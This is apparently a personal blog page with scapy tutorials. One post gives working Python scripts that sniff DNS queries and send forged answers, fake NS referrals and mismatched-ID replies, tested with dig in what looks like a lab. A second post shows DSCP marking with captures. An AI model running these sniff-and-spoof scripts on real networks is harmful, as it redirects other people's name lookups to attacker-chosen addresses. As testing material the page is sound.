lost and found ( for me ? )

Showing posts with label scapy. Show all posts
Showing posts with label scapy. Show all posts

craft DNS responses with python scapy

Here is sample scapy scripts of how to craft DNS responses.

Reference

I have confirmed that I can run the following scripts with python-scapy 2.2.0-1.
# dpkg -l python-scapy | tail -1
ii  python-scapy                    2.2.0-1                          all          Packet generator/sniffer and network scanner/discovery


1. return answer responses

# cat scapy_dns_answer_res.py -n
    1 from scapy.all import *
    2
    3 def dns_spoof(pkt):
    4    if pkt.haslayer(DNSQR):
    5        spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
    6                      UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
    7                      DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, qr=1, \
    8                      an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=100, rdata='1.1.1.1'))
    9        send(spoofed_pkt)
   10 sniff(filter='udp and dst port 53', iface='eth0', store=0, prn=dns_spoof)

run the script
# python scapy_dns_answer_res.py
WARNING: No route found for IPv6 destination :: (no default route?)

send DNS queries
# dig @10.0.3.150 www.foo.bar.example.com.

; <<>> DiG 9.9.5-3ubuntu0.7-Ubuntu <<>> @10.0.3.150 www.foo.bar.example.com.
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 64819
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;www.foo.bar.example.com. IN A

;; ANSWER SECTION:
www.foo.bar.example.com. 100 IN A 1.1.1.1




2. return referral responses

This returns referral responses.
# cat -n send_referral_dns_responses.py
    1 from scapy.all import *
    2
    3 ttl=3
    4
    5 def dns_res(pkt):
    6       if pkt.haslayer(DNSQR):
    7           domain = ''
    8           query_string = pkt[DNS].qd.qname
    9           query_list = query_string.split('.')
   10 #           print query_list
   11           for i in query_list[1:-1]:
   12               domain += i + '.'
   13 #           print domain
   14           spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
   15                      UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
   16                      DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, qr=1L, aa=0L, tc=0L, rd=0L, ra=1L, z=0L,\
   17                           qdcount=1, ancount=0, nscount=2, arcount=2,\
   18                      an=None,\
   19                      ns=(DNSRR(rrname=domain,type='NS',ttl=ttl,rdata='ns1.'+domain)\
   20                          /DNSRR(rrname=domain,type='NS',ttl=ttl,rdata='ns2.'+domain)\
   21                         ),\
   22                      ar=(DNSRR(rrname='ns1.'+domain,type='A',ttl=ttl,rdata='1.1.1.1')\
   23                         /DNSRR(rrname='ns2.'+domain,type='A',ttl=ttl,rdata='2.2.2.2')\
   24                         ),\
   25                     )
   26           send(spoofed_pkt)
   27
   28 sniff(filter='udp and dst port 53', iface='eth0', store=0, prn=dns_res)

run the script.
# python send_referral_dns_responses.py
WARNING: No route found for IPv6 destination :: (no default route?)

got referral responses.
# dig @10.0.3.150 www.foo.com.                  

; <<>> DiG 9.9.5-3ubuntu0.7-Ubuntu <<>> @10.0.3.150 www.foo.com.
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29221
;; flags: qr ra; QUERY: 1, ANSWER: 0, AUTHORITY: 2, ADDITIONAL: 2

;; QUESTION SECTION:
;www.foo.com. IN A

;; AUTHORITY SECTION:
foo.com. 3 IN NS ns1.foo.com.
foo.com. 3 IN NS ns2.foo.com.

;; ADDITIONAL SECTION:
ns1.foo.com. 3 IN A 1.1.1.1
ns2.foo.com. 3 IN A 2.2.2.2

got referral responses.
# dig @10.0.3.150 www.a.b.c.d.e.f.g.h.i.j.k.l.m.n.foo.bar.example.com

; <<>> DiG 9.9.5-3ubuntu0.7-Ubuntu <<>> @10.0.3.150 www.a.b.c.d.e.f.g.h.i.j.k.l.m.n.foo.bar.example.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 16078
;; flags: qr ra; QUERY: 1, ANSWER: 0, AUTHORITY: 2, ADDITIONAL: 2

;; QUESTION SECTION:
;www.a.b.c.d.e.f.g.h.i.j.k.l.m.n.foo.bar.example.com. IN A

;; AUTHORITY SECTION:
a.b.c.d.e.f.g.h.i.j.k.l.m.n.foo.bar.example.com. 3 IN NS ns1.a.b.c.d.e.f.g.h.i.j.k.l.m.n.foo.bar.example.com.
a.b.c.d.e.f.g.h.i.j.k.l.m.n.foo.bar.example.com. 3 IN NS ns2.a.b.c.d.e.f.g.h.i.j.k.l.m.n.foo.bar.example.com.

;; ADDITIONAL SECTION:
ns1.a.b.c.d.e.f.g.h.i.j.k.l.m.n.foo.bar.example.com. 3 IN A 1.1.1.1
ns2.a.b.c.d.e.f.g.h.i.j.k.l.m.n.foo.bar.example.com. 3 IN A 2.2.2.2

3. return mismatch TXID

pick up random int from 0 to 10000 and use that as TXID.
# cat -n scapy_dns_answer_res_mismatch_txid.py
    1 from scapy.all import *
    2 import random
    3
    4 def dns_spoof(pkt):
    5    if pkt.haslayer(DNSQR):
    6        spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
    7                      UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
    8                      DNS(id=random.randint(0,10000), qd=pkt[DNS].qd, aa=1, qr=1, \
    9                      an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=100, rdata='1.1.1.1'))
   10        send(spoofed_pkt)
   11 sniff(filter='udp and dst port 53', iface='eth0', store=0, prn=dns_spoof)

# dig @10.0.3.150 www.hello.com
;; Warning: ID mismatch: expected ID 36459, got 3149
;; Warning: ID mismatch: expected ID 36459, got 8024
;; Warning: ID mismatch: expected ID 36459, got 6544


; <<>> DiG 9.9.5-3ubuntu0.7-Ubuntu <<>> @10.0.3.150 www.hello.com
; (1 server found)
;; global options: +cmd
;; connection timed out; no servers could be reached

python scapy : add DSCP value in an IP header

Here is how to add DSCP value in an IP header with scapy.

reference
http://packetlife.net/blog/2011/aug/1/qos-marking-scapy/

$ dpkg -l python-scapy | tail -1
ii  python-scapy                                2.2.0-1                                             all          Packet generator/sniffer and network scanner/discovery

  • DSCP 10

add 10 in DSCP value
$ cat scapy_dns01.py
from scapy.all import *

answer = sr1(IP(dst="8.8.8.8",tos=40)/UDP(sport=RandShort(),dport=53)/DNS(rd=1,qd=DNSQR(qname="www.google.com")),verbose=0)
print answer[DNS].summary()

When adding DSCP value with scapy, you need to specify DSCP value by using tos=.
TOS field is 8 bits, DSCP field, on the other hands,  is first 6 bits of TOS field, so you need to do some conversion when specifying DSCP value.

Here is how to convert DSCP 10 to tos=40.
convert int 10 to binary

>>> bin(10)
'0b1010'


add two trailing zeros

101000

then convert that to int

>>> int('101000',2)
40

tos=40

run the script
$ sudo python scapy_dns01.py
WARNING: No route found for IPv6 destination :: (no default route?)
DNS Ans "216.58.220.164"

Here is a snippet of capture data.
Internet Protocol Version 4, Src: 192.168.11.6 (192.168.11.6), Dst: 8.8.8.8 (8.8.8.8)
   Version: 4
   Header length: 20 bytes
   Differentiated Services Field: 0x28 (DSCP 0x0a: Assured Forwarding 11; ECN: 0x00: Not-ECT (Not ECN-Capable Transport))
       0010 10.. = Differentiated Services Codepoint: Assured Forwarding 11 (0x0a)
       .... ..00 = Explicit Congestion Notification: Not-ECT (Not ECN-Capable Transport) (0x00)
   Total Length: 60
   Identification: 0x0001 (1)
   Flags: 0x00
       0... .... = Reserved bit: Not set
       .0.. .... = Don't fragment: Not set
       ..0. .... = More fragments: Not set
   Fragment offset: 0
   Time to live: 64

  • DSCP 63

>>> bin(63)
'0b111111'

>>> int('11111100',2)
252

$ cat scapy_dns01_dscp63.py
from scapy.all import *

answer = sr1(IP(dst="8.8.8.8",tos=252)/UDP(sport=RandShort(),dport=53)/DNS(rd=1,qd=DNSQR(qname="www.google.com")),verbose=0)
print answer[DNS].summary()

capture data
Internet Protocol Version 4, Src: 192.168.11.6 (192.168.11.6), Dst: 8.8.8.8 (8.8.8.8)
   Version: 4
   Header length: 20 bytes
   Differentiated Services Field: 0xfc (DSCP 0x3f: Unknown DSCP; ECN: 0x00: Not-ECT (Not ECN-Capable Transport))
       1111 11.. = Differentiated Services Codepoint: Unknown (0x3f)
       .... ..00 = Explicit Congestion Notification: Not-ECT (Not ECN-Capable Transport) (0x00)
   Total Length: 60
   Identification: 0x0001 (1)
   Flags: 0x00